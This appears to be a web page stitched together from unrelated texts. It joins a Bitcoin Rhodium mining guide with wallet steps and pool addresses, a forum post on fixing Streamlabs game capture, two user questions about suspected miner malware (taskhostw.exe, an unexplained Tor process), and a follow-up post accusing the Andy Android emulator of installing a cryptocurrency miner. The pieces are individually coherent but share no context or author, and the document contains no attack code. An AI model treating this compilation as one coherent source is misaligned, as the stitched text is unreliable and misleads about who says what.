To mine Bitcoin Rhodium you need to set up an XRC wallet and configure your miner of choice. You can choose between Web wallet, Electrum-XRC or Magnum wallet. To set up a web wallet please visit wallet.bitcoinrh.org. Or download and install Electrum-XRC wallet (recommended) for Windows, Linux and MacOS.
Web wallet: wallet.bitcoinrh.org
Electrum-XRC wallet: electrum.bitcoinrh.org
Magnum wallet: https://magnumwallet.co

Sign up for XRC web wallet if not yet done so

  1. Create an account, with your username, password and secure question.
  2. Sign in and click “Create Wallet”.
  3. Set up a strong transaction password. Make sure you store it securely in a secure password manager of choice.
  4. Copy the seed somewhere safe. It’d be a good idea to write seed on a hardcopy and keep it safe.
  5. Paste it to confirm you got it right.
  6. Grab an address for the mining step. Your wallet is now ready to mine XRC.

Instructions for mining XRC on the official pool

Pool link: poolcore.bitcoinrh.org
  1. Any miner that supports X13 will be able to mine XRC. We have a few examples below of miners that are well tested with Bitcoin Rhodium network.
  2. For any miner, configure the miner to point to:
(0–0.8 GH/s) stratum+tcp://poolcore.bitcoinrh.org:3061
(0.8–2 GH/s) stratum+tcp://poolcore.bitcoinrh.org:3062
(3–4 GH/s) stratum+tcp://poolcore.bitcoinrh.org:3063
(5+ GH/s) stratum+tcp://poolcore.bitcoinrh.org:3064
with your XRC address as username and x as password. You don’t need to open an account on pool. You will be mining to XRC address and mined coins will be transferred to your wallet
after blocks reach 10 block maturity
after you mined up minimal amount of coins (currently 0.1 XRC)
sometimes mined blocks could get rejected by network (orphaned) after they were counted as valid blocks. This is normal network behavior to follow longest chain
  1. http://poolcore.bitcoinrh.org is used to follow your miner and network statistics.

Spent the last few weeks dealing with Streamlabs' game capture feature. Here my suggestions on how to make it work properly and how to workaround eventual missing captures.

First off, after numerous attempts I wanna state out that the result of a successful capture from such feature seems to strongly depend by the number of resources Streamlabs (your cpu in this case) has available.P.S.: Make sure to open it with admin rights.
Case 1: Game capture won't capture any game.
This happened to me mostly when my GPU or DirectX just faced issues such crashes (of the gpu), driver updates or game crashes. Restart your PC first in safe mode, then restart again in normal mode.
Case 1.1: Still not capturing a specific game.
First off close all of your FPS / GPU / tweaks softwares such as MSI Afterburner and Rivatuner, or anything that has direct connection to your GPU / CPU hardware. Such softwares, especially the ones mentioned above are known to be great when it comes to play games but are also known to pop incompatibilities when it comes to streaming. Once you're done with that, restart your game and the streaming software (both in admin mode of course, or at least the streaming software).
If that doesn't work out, keep those tweaking softwares closed and:
Delete your "Game capture" element from ALL the scenes in the streaming software, then close it. Open it again (admin rights), recreate the "Game capture" thingy and set it to "Capture any fullscreen application", head to the game, set the resolution to "windowed" (it should now start capturing it) then go back to "fullscreen" or "fullscreen borderless".
Case 2: Game capture works with most games but never does with one specific, or stops doing it after an update.
This is gonna take time to figure it out as the community will make their voice be heard. Few games happen to just prevent direct hooks from third-party applications. However if google tells you nothing, it's definitely something on your end.
Case 2.1: If it's on your end might be a lack of resources.
You may start noticing your computer becomes laggy as fuck while that game is actually running, however, that's not always the case (Apex Legends for example will drain as much as it can without slowing down your PC, though streaming with Display capture will result in a laggy stream). Solution: If you can enable Hyperthreading (HT) in your BIOS this is gonna be lifechanging. Other than that I strongly doubt you're gonna have any chance to stream that and that's due to your hardware or tremendous fuck up out of the game's optimization (early access products won't be your best friends).
Case 3: Game capture works just sometimes, like 50/50.
Make sure to run the streaming software AND the game as admin. If the game uses a launcher, head to the game's directory, make sure that the .exe are set to be running with admin rights (properties on the .exe). If that's still ignores the capture then I think the only solution you've got is to open/close it over and over until it works, sucks but better than using the "Display capture" thing.
Another thing, slightly more common: If you're using "Capture any fullscreen application" try switching to "Capture specific window", also try to disable/enable (eye-off/eye-on) the element while the game is running already (make sure to have it in fullscreen or fullscreen borderless). And viceversa.
Case 4: Game capture stops working after specific loading screens in-game.
It usually concerns whenever THAT loading screen or THAT action happens and never again. In Apex Legends I had this loading screen where after that, the capture would freeze but the game would run just fine (I didn't even notice it initially that my stream was stuck with the loading frame although the audio was working fine). That's not on you, though, you can close (eye off) the capture and open it again (eye on) after the loading screen, maybe you may want to use an intermission scene and then switch over the game scene after the loading. However, I feel like using the "foreground window hotkey" capture mode was the best but you need to remember about pressing the hotkey every time that loading happens. In some games it just won't fix it and your stream will be stuck in that loading screen forever no matter what you do. Display capture is the only way at this point (Darkest dungeon was an example). Feelsbad.
Case 5: Game capture won't find your game window in the list of windows while "Capture specific window" is selected.
Usually you want to wait and open/close that droplist over and over until it shows up. However, that's not guaranteed. Don't waste too much time on it, close the streaming software, open the game THEN the software, it should appear now (remember about admin rights for both, game and software). If you can't close the streaming software because you're live for example, delete the "Game capture" element from ALL your scenes, close the game if open, re-open it (or just start it if it wasn't running yet), once it's running you can create again the "Game capture" thingy and it should show up. If it doesn't, bruh, don't play lottery today.
Case 6: Game capture works just fine but the stream results to be laggy (although the game is fine).
Reduce the weight on your GPU or CPU by limiting the FPS. If you have a 60hz monitor do not allow the game to go beyond that value, same if you have a 144hz and you pc starts shooting a 230fps transmission. Cap that out and you'll solve you problem (it worked absolutely fine with Apex Legends, Planetside Arena, CoD:MW).
Last words about general heads up:
Hyper threading from the BIOS literally flipped my situation once, my CPU was at 100%, my PC was extremely slowed down and my DirectX was crashing over and over making every single software based on GPU crashing (streamlabs, games, photoshop...). My stream was just lagging costantly although my game was running okay. I've enabled Hyperthreading in the BIOS and that was it, CPU at 60% from then on, game gained over 40FPS (80 to 120+), PC no longer slowed down and I could even increase the quality of my stream (presets, bitrate, resolution from 720 to 1080...).
Remember to keep your PC clean, I use MalwareBytes and my AV (Avast lulz) but MalwareBytes does the most as it happened few time to get some Bitcoin miner motherF* that was slowing down my system a lot. CCleaner is okay if you wanna run some scans but don't over use it. Run defrags every month. Create backups before updating your GPU drivers, they are not always your friend and no they don't really make you feel like you now own the best machine of all times.
I hope this could help someone, it made me crazy to fix some stuff.

Windows Defender blocks "taskhostw.exe" from using \Device\CdRom0, is this malware?

Yesterday my Windows Defender blocked taskhostw.exe from using Device\CdRom0, but what exactly is this?
I searched for it and some people say it is a harmless application from Windows itself, other says it is a Bitcoin miner, other say it is just a generic malware, so what exactly is this taskhostw.exe thing?

Found Tor running in task manager after deleting the exe a while ago. has my computer been compromised?

here is a screenshot of task manager and another one of the folder with the exe in it. I found this a few months ago and forgot about it but it appeared again in my task anger after deleting it before. is it a virus? how can i stop it from coming back https://imgur.com/NI9tXyn
https://imgur.com/l4boIK7
Edit: i never once installed Tor myself which is why its so suspicious. deleted everything in temp and scanned with lots of antivirus software. It did find what it said was a bitcoin miner so the Tor.exe could be something to do with that?
thanks again for the help

FOLLOWUP: Andy OS (Andy Android Emulator)

Recap

My post, which you've probably seen exposed Andy Emulator for installing a cryptocurrency miner on the host PC. After contacting them endlessly on their Facebook support page (which seemed to be the only active support forum for this software) I was met with a ban each time. The news about Andy spread super fast and articles were made about it on sites such as BleepingComputer, Android Community, BetaNews, Tech Republic and countless more. It was safe to say that the owners of Andy could no longer avoid the issue. After seeing the backlash, the owner of the support Facebook group changes the privacy of it and prevented anyone from posting anything at all.

Removal of miner

A few days after the press got ahold of what was going on, Andy completely replaced their installer. Why this installer wasn't served in the first place is beyond me. The new installer no longer calls the hidden 'GoogleUpdate.exe' (which installs the miner). Upon closing Andy, all processes relating to it close after a few seconds. It's great that they've removed the miner, but I still wouldn't trust this company with anything.

Issues

Contradiction
As outlined in my previous post, two staff members at Andy gave different explanations as to why the miner was installed on the system, both of which can be proved wrong. A support member claimed that it was left over from a previous version of Andy that contained the 'Andy Cloud Experiment' which utilised blockchain technology (although I'm not sure why anything like this would require blockchain technology). This was then overruled by the Andy OS Inc. COO (or possibly their CTO), claiming that the installer was from a third party and that they'll look into it. Upon further inspection from lawrenceabrams over at Bleeping Computer, he discovered that the executable named 'GoogleUpdate.exe' was what installed the miner and was actually signed by Andy OS Inc. In the most recent version, this executable is no longer present meaning it probably wasn't even needed in the first place. If it really was needed in the previous version, so much so that they had it officially signed... then why did it install a cryptocurrency miner? The miner installation was signed by Andy themselves, so they cannot deny that it was nothing to do with them.
No apology/statement
The majority of publications which reported on this issue asked Andy for comment to which they were met with no response (surprise surprise). In addition to this, as mentioned previously, their public support forum is no longer accepting new threads. Nobody over at Andy has bothered to publicly address this issue or to even attempt to try and clear their name (with the exception of some people in the support group who were extremely dismissive of the whole thing). To me it seems like they don't want to address it at all. It's being swept under the rug by them and I'm guessing once it's all blown over they'll open their Facebook group back up.
Version numbers
You would have expected, with this latest update, that they'd update the version number on their website. Nope. The version number is exactly the same as what it was before, even down to the date. I also noticed a fake star rating system which can't even be interacted with. By the looks of things, they've given themselves 4.5/5 stars. Where is that information sourced from?

Conclusion

In the past, Andy has had some shady things going on and with this most recent issue, even more so. Personally, I don't think I'd want to download anything that comes out of that company ever again. A massive breach of trust has been handed to their userbase.
Andy, give us answers. Tell us what happened and why it happened. Why was the miner installation file signed by your company if the installer was from a third party?
Thanks for the support with this issue everyone and thanks for spreading my original post around like wildfire. It definitely helped get the word out!
